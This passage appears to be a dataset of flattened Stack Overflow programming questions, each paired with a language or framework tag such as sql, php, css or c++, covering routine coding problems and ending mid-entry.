sql query if statment  im trying to add a if else type function in the below sql query   <pre><code>select        oeel.invoicedt  ucase(oeel.whse) as whse  oeel.orderno  oeel.ordersuf  oeel.custno  ucase(oeel.shipto) as shipto  ucase(oeel.slsrepin) as slsrepin                        ucase(oeel.slsrepout) as slsrepout  oeel.returnfl  oeel.netamt  oeel.wodiscamt  oeel.discamtoth  oeel.qtyship  oeel.commcost  icss.csunperstk  ucase(icsd.name) as name                        ucase(icsd.region) as region  ucase(oeel.prodcat) as prodcat  ucase(sasta.descrip) as descrip  ucase(oeel.transtype) as transtype  ucase(arss.user2) as user2                        oeel.transdt  icss.transdt as  icss.transdt   icsd.transdt as  icsd.transdt   sasta.transdt as  sasta.transdt   arss.transdt as  arss.transdt   { fn curdate() } as curdate1  { fn curtime() } as curtime2                        oeel.lineno  from            { oj { oj { oj { oj pub.oeel oeel left outer join                          pub.icss icss on oeel.cono = icss.cono and oeel.shipprod = icss.prod and oeel.icspecrecno = icss.icspecrecno } left outer join                          pub.icsd icsd on oeel.cono = icsd.cono and oeel.whse = icsd.whse } left outer join                          pub.sasta sasta on oeel.cono = sasta.cono and oeel.prodcat = sasta.codeval } left outer join                          pub.arss arss on oeel.cono = arss.cono and oeel.custno = arss.custno and oeel.shipto = arss.shipto }   where        (oeel.cono = 1) and (oeel.invoicedt between { d  2014-06-02  } and { d  2014-06-03  }) and (sasta.codeiden in ( c    c ))    order by  oeel.custno  oeel.shipto  oeel.prodcat </code></pre>   i would the if to be something like   <pre><code>if oeel.returnfl = false then (oeel.netamt-oeel.wodiscamt-oeel.discamtoth) as  sales  else (-1*(oeel.netamt-oeel.wodiscamt-oeel.discamtoth)) as  sales  </code></pre>,sql
iphone table view design with other elements on app  i am new to ios development so please excuse me if my question seems simple.in my app that i am developing i have a text box and button.when user types something in the text box and taps the button a web service call is made and the results are returned.i am able to parse the results and i am currently displaying it as alerts.    i would like to display the results in a table view so that users can tap each row to view the details.how do i create this table view and make it part of my app as it currently stands now where will i place it how will tell the view to display when the results are ready to be displayed hidden to start with or otherwise     i appreciate your time.,iphone
sql query if data match in string from column 2 alter column 22  i have a table with 22 columns. the particular columns interesting are 2 and 22.    column 2 has text urls in each row. i want to to match if url string contains  this text  then i want to alter column 22 to set number  1  instead of the deafult 0.    i want to do this check for all 600 000 rows in this table. any idea how to form the query,mysql
simple program in c computing incorrect areas and circumferences  here is my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt;  static const int pi = 3.14159; // defined global constant for pi int arear; int circumferencer; int aread; int circumferenced;  int main(void) { #define radius 6 #define diameter 12      arear = pi * pow(radius  2);     circumferencer = 2 * pi * radius;      aread = pi * pow(diameter  2)) / 4;     circumferenced = pi * diameter;      puts( results given a circle of radius 6 and diameter 12:\n );     printf( arear is %d\n   arear);     printf( circumferencer is %d\n   circumferencer);     printf( aread is %d\n   aread);     printf( circumferenced is %d\n   circumferenced); } </code></pre>  <hr>   <img src= https://i.stack.imgur.com/coeo7.png  alt= code >   <hr>   this is supposed to output values for area and circumference  with area equal to about 113 and circumference 37 something. that aside  my output is showing incorrect values  area being 108 and circumference being 36. i know these values are wrong  but only slightly less than they are supposed to be. this is my first program in c  and i am not sure where i am going wrong.,c
display show from join table  i have 3 models (<strong>railwaystation</strong>  route &amp; join table <code>railwaystationsroute</code>)   <pre><code>class railwaystationsroute &lt; applicationrecord   belongs_to :railway_station   belongs_to :route   class route &lt; applicationrecord   has_many :railway_stations_routes   has_many :railway_stations  through: :railway_stations_routes  class railwaystation &lt; applicationrecord   has_many :railway_stations_routes   has_many :routes  through: :railway_stations_routes </code></pre>   my task: in view route (<strong>show.html.erb</strong>) display list of stations by ordinal number (<code>station_number</code> - integer field in join table)    when i wrote code:   <pre><code>&lt;% @route.railway_stations.each do |station| %&gt; &lt;%= station.railway_stations_routes.inspect %&gt;&lt;%= station.title %&gt; </code></pre>   display:   <pre><code>activerecord::associations::collectionproxy [#&lt;railwaystationsroute id: 2  railway_station_id: 2  route_id: 1  station_number: 2&gt;]saint-petersburg </code></pre>   where we can see <code>station_number</code>    but if i change inspect to <code>station_number</code>.. display:   <pre><code>undefined method `station_number  for #&lt;railwaystationsroute::activerecord_associations_collectionproxy:0x007fc3cffe3ef0&gt; saint-petersburg </code></pre>   because i do not have station_number method in railwaystation model     next i have created scope in join table:   <pre><code>scope :ttt  -&gt; { select( railway_stations.*              railway_stations_routes.station_number ) } </code></pre>   &amp; changed code in view:   <pre><code>&lt;%= station.railway_stations_routes.ttt %&gt;&lt;%= station.title %&gt; </code></pre>   display:   <pre><code>#&lt;railwaystationsroute::activerecord_associationrelation:0x007fc3cff15190&gt;saint-petersburg </code></pre>   question: how to make this result in number format(<code>station_number</code>)       (like code below)   <pre><code>2 saint-petersburg </code></pre>,ruby-on-rails
how to make dissappear the text in the textfield of 1st view controller when clicked on logout button in 2nd view controller  <pre><code>- (ibaction)loginbuttonaction:(id)sender {     [self.navigationcontroller poptoviewcontroller:    [self.navigationcontroller.viewcontrollers          objectatindex:self.navigationcontroller.viewcontrollers.count -2]  animated:yes];  } </code></pre>   this is my logout code in 2nd view controller  i want to remove text<br>     in login screen of user name and password when clicked on logout      button.. please can some one help me,objective-c
css for prev row  i have a table where the data takes up two rows  so i am setting up a single row behavior across two rows. for example <code>hover</code>. the css below highlights two rows if the mouse enters via the top row  due to the:   <pre><code>table.table_form tbody tr.top:hover + tr </code></pre>   i need the reverse:   <pre><code>table.table_form tbody tr.bot:hover - tr </code></pre>   how do i do this     so here is my css:   <pre><code>table.table_form tbody tr.bot:hover  table.table_form tbody tr.top:hover  table.table_form tbody tr.top:hover + tr {   background: lighten($secondary  10%);   cursor: pointer; } </code></pre>   and this html   <pre><code>&lt;tr class= top-row   id= top6f3a4df1-1c3e-4453-9805-4ece86d504fc  data-pos= top  data-uuid= 6f3a4df1-1c3e-4453-9805-4ece86d504fc &gt;         &lt;th scope= col &gt;             &lt;input class= table_input  type= text  value= superadmin 1  data-orig= superadmin 1 &gt;         &lt;/th&gt;         &lt;td&gt;             &lt;input class= table_input  type= text  value= australia  data-orig= australia &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input class= table_input  type= text  value= product  data-orig= product &gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;tr class= bot-row bottom-border   id= bot6f3a4df1-1c3e-4453-9805-4ece86d504fc  data-pos= bot  data-uuid= 6f3a4df1-1c3e-4453-9805-4ece86d504fc &gt;         &lt;td&gt;             &lt;input class= table_input  type= text  value= marclocchi13+1@gmail.com  data-orig= marclocchi13+1@gmail.com &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input class= table_input  type= text  value=   data-orig=  &gt;         &lt;/td&gt;         &lt;td colspan= 2 &gt;             &lt;input class= table_input  type= text  value=   data-orig=  &gt;         &lt;/td&gt;     &lt;/tr&gt; </code></pre>,css
float: right with <li> is not working  i have following code which works fine in firefox and ie 8  but in ie 7 the second li is coming with some top space instead of same line.   <pre><code>    &lt;li style= padding-left: 20px &gt;            sort by: &lt;select id=ddsortorder class= content-select &gt;      &lt;option selected value=0&gt;recommended     &lt;/option&gt;&lt;/select&gt;      &lt;/li&gt;     &lt;li id=lipageanchors&gt;&lt;&lt;&amp;nbsp;|&amp;nbsp;&lt;&amp;nbsp;|&amp;nbsp;previous&amp;nbsp;|&amp;nbsp;     &lt;a class=current title=1 &gt;1&lt;/a&gt;&amp;nbsp;|&amp;nbsp;     &lt;a title=2&gt;2&lt;/a&gt;&amp;nbsp;|&amp;nbsp; &lt;a title=3 &gt;3&lt;/a&gt;&amp;nbsp;|&amp;nbsp; &lt;a title=next &gt;next&lt;/a&gt;&amp;nbsp;|&amp;nbsp;&gt;&amp;nbsp;|&amp;nbsp;&gt;&gt;&lt;/li&gt; </code></pre>   the first <code>&lt;li&gt;</code> comes in left as expected but the second <code>&lt;li&gt;</code> should float to right  but it is to right with some extra space. i want both the <code>&lt;li&gt;</code> in same line (position)  which works in firefox and ie 8 but in ie 7 is not.    image link <a href= http://www.imagechicken.com/viewpic.php p=1275649526056730400&amp;x=jpg  rel= nofollow noreferrer >alt text http://www.imagechicken.com/viewpic.php p=1275649526056730400&amp;x=jpg</a> <a href= http://www.imagechicken.com/viewpic.php p=1275649526056730400&amp;x=jpg  rel= nofollow noreferrer >http://www.imagechicken.com/viewpic.php p=1275649526056730400&amp;x=jpg</a>    please help!    thanks ashwani,html
best practices: is it vital that  http:  is put at the beginning of html links   i have been creating links like so  that work...   <pre><code>&lt;a href= //stackoverflow.com/ &gt;stack overflow&lt;/a&gt; </code></pre>   but i am wondering if by removing the  http  part of the link  does it affect the links in different browsers or have an affect on how search engine robots pick up the links.,html
php code with alternating row color  hello im new in programing. i want to create a table using the alternate row color. but dont know how to do it. here is my code. please help me!   <pre><code>while ($row = mysqli_fetch_assoc($result)) {     echo  &lt;tr&gt; ;     echo  &lt;td&gt;  . $row[ a.serviceid ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.title ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.description ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.notes ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.submitby ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.assignedemp ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ c.groupname ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ d.namecategory ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ e.tipostatus ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ f.tiposurgencia ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ g.customername ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.daycreation ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.modifyby ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ a.modifytime ] .  &lt;/td&gt; ;     echo  &lt;/tr&gt; ; }  mysqli_free_result($result); echo  &lt;/table&gt; ; </code></pre>,php
ignoring spaces between words - an sql question  i want to grab from a db a record with name= john doe .    i d like my query to also grab  john(4 spaces between)doe   john(2 spaces betwewen)doe  etc. (at least one space however).    i d also like that the case won t matter  so i can also get  john doe  by typing  john doe  etc.,sql
error: too few arguments to function  i am new to c++ and in a college course learning it  we have just started functions and this is my first lab dealing with them. i keep getting this error for each case in my switch statement and i am not to sure how to correct it.       <blockquote>    error: too few arguments to function  void addfraction(int  int  int  int)   </blockquote>  <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt;  using namespace std;  void clearscreen(); void printmenu(); void getfraction(int&amp;  int&amp;); void addfraction(int  int  int  int); void subfraction(int  int  int  int); void mulfraction(int  int  int  int); void divfraction(int  int  int  int); //void reducfraction(int &amp;  int &amp;);  int main() {     clearscreen();     printmenu();     return 0; }  //function clears the screen void clearscreen() {     cout &lt;&lt; string(50   \n ); }  //function prints a menu to the screen void printmenu() {     int menu;      cout &lt;&lt;  fraction calculator\n ;     cout &lt;&lt;  \n ;     cout &lt;&lt;  1. add fraction\n ;     cout &lt;&lt;  2. subtract fraction\n ;     cout &lt;&lt;  3. multiply fraction\n ;     cout &lt;&lt;  4. divide fraction\n ;     cout &lt;&lt;  5. quit\n ;     cout &lt;&lt;  : ;     cin &gt;&gt; menu;      //switch statement that drive the menu     switch (menu)     {         case  1 :   addfraction();                     break;         case  2 :   subfraction();                     break;         case  3 :   mulfraction();                     break;         case  4 :   divfraction();                     break;         case  5 :   exit(0);                     break;         default:    {                      cout &lt;&lt; endl &lt;&lt;  invalid choice\n  &lt;&lt; endl;                      printmenu();                     }     }  }  void addfraction(int f1n  int f1d  int f2n  int f2d) {     clearscreen();     getfraction(f1n  f1d);     getfraction(f2n  f2d);     int fan  fad;     fan = (f1n * f2d) + (f2n * f1d);     fad = (f1d * f2d);     //reducfraction();     cout &lt;&lt; fan &lt;&lt; endl &lt;&lt;  ---  &lt;&lt; endl &lt;&lt; fad; }  void subfraction(int f1n  int f1d  int f2n  int f2d) {     clearscreen();     getfraction(f1n  f1d);     getfraction(f2n  f2d);     int fan  fad;     fan = (f1n * f2d) - (f2n * f1d);     fad = (f1d * f2d);     //reducfraction();     cout &lt;&lt; fan &lt;&lt; endl &lt;&lt;  ---  &lt;&lt; endl &lt;&lt; fad; }  void mulfraction(int f1n  int f1d  int f2n  int f2d) {     clearscreen();     getfraction(f1n  f1d);     getfraction(f2n  f2d);     int fan  fad;     fan = (f1n * f2n);     fad = (f1d * f2d);     //reducfraction();     cout &lt;&lt; fan &lt;&lt; endl &lt;&lt;  ---  &lt;&lt; endl &lt;&lt; fad; }  void divfraction(int f1n  int f1d  int f2n  int f2d) {     clearscreen();     getfraction(f1n  f1d);     getfraction(f2n  f2d);     int fan  fad;     fan = (f1n * f2d);     fad = (f2n * f1d);     //reducfraction();     cout &lt;&lt; fan &lt;&lt; endl &lt;&lt;  ---  &lt;&lt; endl &lt;&lt; fad; }  void getfraction(int&amp; numerator  int&amp; denominator) {    cout &lt;&lt;  please enter a numerator:  ;    cin &gt;&gt; numerator;     cout &lt;&lt;  please enter a denominator:  ;    cin &gt;&gt; denominator;     while(denominator == 0)    {       cout &lt;&lt;  invalid denominator! enter a new one:  ;       cin &gt;&gt; denominator;    }     clearscreen(); } </code></pre>,c++
error msg: unknown column in field list in tables with the field  currently i have the following code  the part i and partii works fine. however  when i am trying to union  the two temporary table  it keeps me giving me error message of   unknown column  name  in  field list   even when i have tried quite several time to change the name of the filed  name  in the temporary table.   <pre><code>create temporary table if not exists inp_cnt as( select a.name  count(distinct ad.pub_id) as c from author as a inner join authored as ad on a.id = ad.author_id inner join inproceedings as inp on ad.pub_id = inp.pub_id where inp.booktitle =  sigmod conference  or inp.booktitle =  kdd  or inp.booktitle =  vldb  group by ad.author_id);  create temporary table if not exists ar_cnt as( select a.name   count(distinct ad.pub_id) as c from author as a inner join authored as ad on a.id = ad.author_id inner join article as ar on ad.pub_id = ar.pub_id where ar.journal =  pvldb  group by ad.author_id);   select name sum(c) as total from ( select name c from inp_cnt union all select name  c from ar_cnt ) as tmp group by name order by total desc limit 20; </code></pre>   can somebody give some hint on this  am i getting this error msg because name is a special keyword in sql,sql
cannot resolve r.menu and other r. stuff in android studio  i have been practicing in android studio as per the android app development free course in udacity. and wherever there is a r.menu or r. stuff it cannot be resolved   <pre><code>package com.example.android.courtcounter;  import android.os.bundle; import android.support.v7.app.appcompatactivity; import android.view.menu; import android.view.menuitem; import android.widget.textview; import android.r;  public class mainactivity extends appcompatactivity {  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main); }  @override public boolean oncreateoptionsmenu(menu menu) {     // inflate the menu; this adds items to the action bar if it is present.     getmenuinflater().inflate(r.menu.menu_main  menu);     return true; }  @override public boolean onoptionsitemselected(menuitem item) {     // handle action bar item clicks here. the action bar will     // automatically handle clicks on the home/up button  so long     // as you specify a parent activity in androidmanifest.xml.     int id = item.getitemid();      //noinspection simplifiableifstatement     if (id == r.id.action_settings) {         return true;     }      return super.onoptionsitemselected(item); }  /**  * displays the given score for team a.  */ public void displayforteama(int score) {     textview scoreview = (textview) findviewbyid(r.id.team_a_score);     scoreview.settext(string.valueof(score)); } } </code></pre>   plz help how to solve this issue.,android
calculate data for loop  i have list  for example:   <pre><code>&lt;ul&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;/ul&gt; </code></pre>   and next i generate this list in php:   <pre><code>&lt;ul&gt; &lt; php for ($i=1; $i &lt;= 11; $i++):  &gt; &lt;li&gt;text&lt;/li&gt; &lt; php if (in_array($i  array(3  4  10))):  &gt; &lt;li class= add &gt;add&lt;/li&gt; &lt; php endif  &gt; &lt; php if (in_array($i  array(10))):  &gt; &lt;li class= add &gt;add&lt;/li&gt; &lt; php endif  &gt; &lt; php endfor  &gt; &lt;/ul&gt; </code></pre>   this working good. this is schema and if $i > 11 this should add li.add from beginning. for example:   <pre><code>&lt;ul&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; //next &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; // next &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li class= add &gt;add&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; //end - not 11! &lt;/ul&gt; </code></pre>   so in php i must:   <pre><code>&lt;ul&gt; &lt; php for ($i=1; $i &lt;= 28; $i++):  &gt; &lt;li&gt;text&lt;/li&gt; &lt; php if (in_array($i  array(3  4  10  14  15  21  25  26))):  &gt; &lt;li class= add &gt;add&lt;/li&gt; &lt; php endif  &gt; &lt; php if (in_array($i  array(10  21))):  &gt; &lt;li class= add &gt;add&lt;/li&gt; &lt; php endif  &gt; &lt; php endfor  &gt; &lt;/ul&gt; </code></pre>   how can i calculate positions for in_arrays automatically  always after 3  4 and 10 in one loop (11 items) this should add li.add.,php
round 3.33 into 4 using php  i need to round up <code>3.33</code> value into decimal value of <code>4</code> using php  does any one knows how to do it     for example:   <pre><code>3.33 =&gt; 4 5.2  =&gt; 6 8.7  =&gt; 9 </code></pre>,php
how to find public ip address without using third party website in ruby on rails   how do i get a public ip address in rails using request.env [] or gem or plugin or something else  but without using an external website  i have find my local ip address but can t able to find public ip address without using external website. i tried socket gem also but that also not working for me. so please suggest for the solution,ruby-on-rails
partitioning data by hash function  i need to split data evenly across n nodes in a distributed cache.    the following code will take a cache key and determine which node to use:   <pre><code>public static int getnodeidbycachekey(string key) {     return math.abs(key.gethashcode()) % totalnumberofnodes(); } </code></pre>   unfortunatly the code isn t reliable across different machine instances. in testing it seems it will sometimes return a different node for the same key.    any thoughts or ideas on getting something to work better,c#
matching user input to file records in python  i m making a program that will ask a user to enter their student id and it will display the student information such as student id and their student name . i does this first by asking the user to enter their id and it will then read a .txt file and check if the student id is a matched then it will print out the content of my .txt file information of the specific student that the user is looking for.    this is my content of the file   <pre><code>201707001 michael_tan  201707002 richard_lee_wai_yong  201707003 jean_yip  201707004 mark_lee  201707005 linda_wong  201707006 karen_tan  201707007 james_bond  201707008 sandra_smith  201707009 paul_garcia 201707010 donald_lim </code></pre>   this is my source code   <pre><code># user can find out the student info userinput = input( please enter a student id:  )  # read the students file with open( c:\\users\\jaspe\\desktop\\pads assignment\\student.txt ) as f:     studentfile = f.readlines()     for student in studentfile:         stdid  stdname = student.strip().split(    1)   # check if the student exist matched = true  while matched:     if userinput == stdid:         print( true )     else:         print( false )         matched = false         break </code></pre>   but the output i get is false even though i type the exact studentid,python
what is the syntax for accessing address of this pointer in c++   i am trying to know the address of this pointer. tried in the following way. can anybody suggest me the right method   i am trying to print <code>cout&lt;&lt;&amp;this&lt;&lt;endl;</code> in a class member function. but compiler generates error c2102:  &amp;  requires l-value.,c++
angular route nested ng-view / ng-template  i am just starting with angular and i have a problem     i am using ng-view with route to make an spa  then i have my controler   <pre><code>app.config(function ($routeprovider) {     $routeprovider.         when( /home   {             templateurl:  /templates/home.html               controller:  homecontroller          }).(...) otherwise({              templateurl:  /templates/home.html                controller:  homecontroller           }); }); </code></pre>   everything was ok and the spa worked like a charm  until i created a new template    /template/xpto.html that contained an ng repeater with multiple includes:   <pre><code>&lt;div class= content  ng-switch on= control.control_type &gt;     &lt;div ng-switch-when= main_panel_title &gt;         &lt;div ng-include=  /homecontrols/title.html   ng-controller= homecontrolscontroller               onload= instanceid = control.id; loadtitle(instanceid) &gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div ng-switch-when= full_panel_news &gt;         &lt;div ng-include=  /homecontrols/fullpagenews.html   ng-controller= homecontrolscontroller               onload= instanceid = control.id; loadfullnews(instanceid) &gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   after this any time i go to the xpto page the browser breaks  but works ok with all other pages... any ideia what it migth be  i assume its a problem with route against nested ng-view / ng-template    thanks,angularjs
dereferencing pointer to incomplete type error when using typedef struct in c <pre><code>#include&lt;stdio.h&gt; typedef struct data {      int num;     struct node *link; }node; main() {     node *s=null *e=null *new;     new=malloc(sizeof(node));     s=malloc(sizeof(node));     s-&gt;num=10;     s-&gt;link=new;     new-&gt;num=8;     new-&gt;link=null;  //  printf( %d\n  s-&gt;link-&gt;num);  //// error: dereferencing pointer to incomplete type     e=s;     while(e!=null)     {         printf( %d  e-&gt;num);         e=e-&gt;link;     }  } </code></pre>   for the above c program i got the correct output. but if i include the commented line  it generates a dereferencing incomplete type error. can anyone explain the reason,c
passing a parameter into  dotnet publish   i currently have a build process that calls   <pre><code>dotnet publish </code></pre>   to package the application.  is it possible to pass in a string parameter to be read into the args parameter of my main method of my application    <pre><code>public static void main(string[] args) </code></pre>   i haven t been able to find any answers for this particular question online  and the documentation doesn t explicitly mention about parameters in the dotnet publish call. <a href= https://docs.microsoft.com/en-us/dotnet/core/tools/dotnet-publish tabs=netcore2x  rel= nofollow noreferrer >https://docs.microsoft.com/en-us/dotnet/core/tools/dotnet-publish tabs=netcore2x</a>  but i m wondering if there would be a way around this     any help would be greatly appreciated!,.net
how can i add values into mysql if the value is either string or float   i am parsing an excel file and adding the values im getting into a database. but one of the columns i am parsing can be either a float or a string. like such: <code>0 45</code> or <code>contact support</code>. what is the best way for me to add this as it is  to my database  or more how should i format my database column for this,mysql
rails: allow free text sql filter and still avoid sql injection  i have a requirement where a screen allows and end user to create a filter that is basically any valid sql fragment. for reasons beyond my control this is what is needed so i need to work within this boundary.     this sql fragment gets appended to a where clause in a sql statement.currently to avoid anything to nasty going on the login that runs the sql is limited to select operations on the required tables.    is there any way in rails (2.3) that i can mitigate any risk of sql injection attacks but still allow free text input so very complex filter criteria can be specified      cheers,ruby-on-rails
get current file name on rails  i m working with a set of files in a rails project and i need to get the current file name. i m using the following:   <pre><code>&lt;%= __file__ %&gt; </code></pre>   but it is outputting the full file path:   <pre><code>/users/[myuser]/documents/development/welcome.html.erb </code></pre>   i just need the file name:   <pre><code>welcome </code></pre>   how can i do this,ruby-on-rails
button is not responding to click event   i am working on the table view and do customization for <code>tablefooterview</code>.what i am doing is :    classa.m   <pre><code>- (void)viewdidload {     footerviewcontroller    *footerview     =   [[footerviewcontroller alloc] initwithnibname:@ footerviewcontroller  bundle:nil];       // add selector of class a to checkoutbutton     [footerview.checkoutbutton addtarget:self action:@selector(gotocheckout) forcontrolevents:uicontrolstatenormal];      self.shoppinglisttable.tablefooterview.backgroundcolor  =   [uicolor clearcolor];     self.shoppinglisttable.tablefooterview  =   footerview.view; }  - (void)gotocheckout {     nslog(@ this is a response from a button ); } </code></pre>   footviewcontroller.h   <pre><code>@interface footerviewcontroller : uiviewcontroller @property (strong  nonatomic) iboutlet uilabel *amount; @property (strong  nonatomic) iboutlet uibutton *checkoutbutton; @end </code></pre>   the outlet are also connected to the xib files as well    however  when i click on the button  it does not respond at all and the log shows nothing....    what i am doing wrong at here. please help if you have any ideas about this. thanks,iphone
how to get similar search results in mysql   i am trying to search by words similarity or even if someone made a typo.    for example if anyone searches with <code>picadilly</code> correct one is <code>piccadilly</code>  it should get the result.    i had tried by searching by removing a char from last until 3 chars left using php  for example <code>picadilly</code> <code>picadill</code> <code>picadil</code> <code>picadi</code> <code>picad</code> <code>pica</code> <code>pic</code>    it s working but i am also getting unwanted results (due to shorten of keyword to 3 chars) which aren t similar  also don t think it is a good way  is there any better approach      table structure &amp; data:   <pre><code>+----+---------------------------+------------------------------------------------------+ | id | name                      | address                                              | +----+---------------------------+------------------------------------------------------+ |  1 | bethnal green station     | bethnal green tube station  london  e2 0et           | |  2 | westminster station       | westminster tube station  london  sw1a 2jr           | |  3 | goldhawk road station     | goldhawk road tube station  london  w12 8eg          | |  4 | piccadilly circus station | piccadilly circus tube station  london  w1j 9hp      | |  5 | ravenscourt park station  | ravenscourt park tube station  london  w6 0jj        | |  6 | barons court station      | barons court tube station  london  w14 9ea           | |  7 | charing cross station     | charing cross tube &amp; train station  london  wc2n 6rq | |  8 | hammersmith station       | hammersmith tube station  london  w6 8ab             | |  9 | embankment station        | embankment tube station  london  wc2n 6ns            | | 10 | leicester square station  | leicester square tube station  london  wc2h 0ap      | +----+---------------------------+------------------------------------------------------+ </code></pre>   query:   <pre><code>select * from `stations` where name like  %picadilly%     or name like  %picadill%     or name like  %picadil%     or name like  %picadi%     or name like  %picad%     or name like  %pica%     or name like  %pic%  </code></pre>,mysql
what => means in javascript   i can t understand this code s syntax. can someone help describe what it means    <pre><code>const el = () =&gt; document.createelement( span ); const set = (el  c) =&gt; (el.style.backgroundcolor = c  el); </code></pre>,javascript
span a asp:textbox  i have a table with two rows with four columns.  i have text in the first column in the first row and a textbox in the second column  then text and then a textbox.  in the next row i have text in the first column and a textbox in the second  but i want to span the textbox to fill the other two columns so everything lines up correctly.  can i do this in a single table or do i need to create a table so that the columns can be different sizes,asp.net
hide image content that is outside current view without squishing image  i have an img src that i use as background. using this css: (image is 1920x1080)   <pre><code>.bg {     position: absolute;     z-index: -1;     width: 100%;     min-width: 1920px; } </code></pre>   and this does what i want for desktop  upscales accordingly for higher res  and when i shrink the window  it only does some of what i want. the width is still kept (which is good)  but i want it to not be scrollable to the sides  and i want the image to be cenered on the new resolution.    so here is an image of how it looks when i resize now  where red area is the current resolution  and the blue area is still scrollable.    <a href= http://i.imgur.com/7vjfkpw.jpg  rel= nofollow >http://i.imgur.com/7vjfkpw.jpg</a>    and here is an image of how i want it to look  where the black area is simply empty  the user is not able to scroll to the sides  they can only scroll down if there is content there  and only scroll to the side if there is content there (except for the image itself) and of course the image is as well centered on the new resolution.    <a href= http://i.imgur.com/o3sle31.png  rel= nofollow >http://i.imgur.com/o3sle31.png</a>    anyone have any idea of how i can accomplish this  thanks.     edit: more detailed mockups    so here it is in desktop resolution: <a href= http://i.imgur.com/z8x4e3i.jpg  rel= nofollow >http://i.imgur.com/z8x4e3i.jpg</a><br> here is mobile-ish resolution  where you can see you are able to scroll all the way to the end of the image size to the right: <a href= http://i.imgur.com/y3bc2di.png  rel= nofollow >http://i.imgur.com/y3bc2di.png</a><br> and here is how i want it to be  where the image has been centered  and you are not able to scroll to either side  and all this has to still enable the image to grow in size when the window is bigger than 1920x1080 as well: <a href= http://i.imgur.com/7d2vprk.png  rel= nofollow >http://i.imgur.com/7d2vprk.png</a>    edit: tl;dr i want background image to always fit the size of the browser window  even if the user has a 4k monitor  or a 1080p  or a mobile phone  but when we have to shrink the image  the page can t be scrollable to the sides. and the image will usually be 1080p.,css
how to make a div children fit in a parent div with a smaller width  i have a div as a parent div containing dynamically created children div as much as but my problem is i want the children div to be inline so users can scroll horizontal to see more of the children div as they scroll but my is scrolling vertically instead of horizontal and i try setting the overflow-y to hidden but still not the children div are not inline once.   <pre><code>&lt;div id= frnd_r_s_c &gt;     &lt; php          $sqlfrnds = $db_connect-&gt;prepare( select * from users where id!=  );         $sqlfrnds-&gt;bind_param( s  $row[ id ]);         $sqlfrnds-&gt;execute();         $result = $sqlfrnds-&gt;get_result();          while($rows = $result-&gt;fetch_assoc()){       &gt;     &lt;div class= suggest-frnd &gt;         &lt;div id= s_f_exit &gt;&amp;nbsp;&amp;times;&lt;/div&gt;         &lt;div class= suggest-frnd-img &gt;             &lt;img src= &lt; php   &gt;  &gt;         &lt;/div&gt;         &lt;div class= suggest-frnd-n-add &gt;             &lt;div id= suggest-frnd-n &gt;&lt; php echo $rows[ u_firstname ]. &amp;nbsp; ;echo $rows[ u_othernames ];  &gt;&lt;/div&gt;         &lt;div&gt;             &lt;form id= s_frnd_form &gt;                 &lt;input type= hidden  name= s_frnd_id  value= &lt; php echo $rows[ id ];  &gt; &gt;                 &lt;input type= submit  name= add_frnd  value= add &gt;             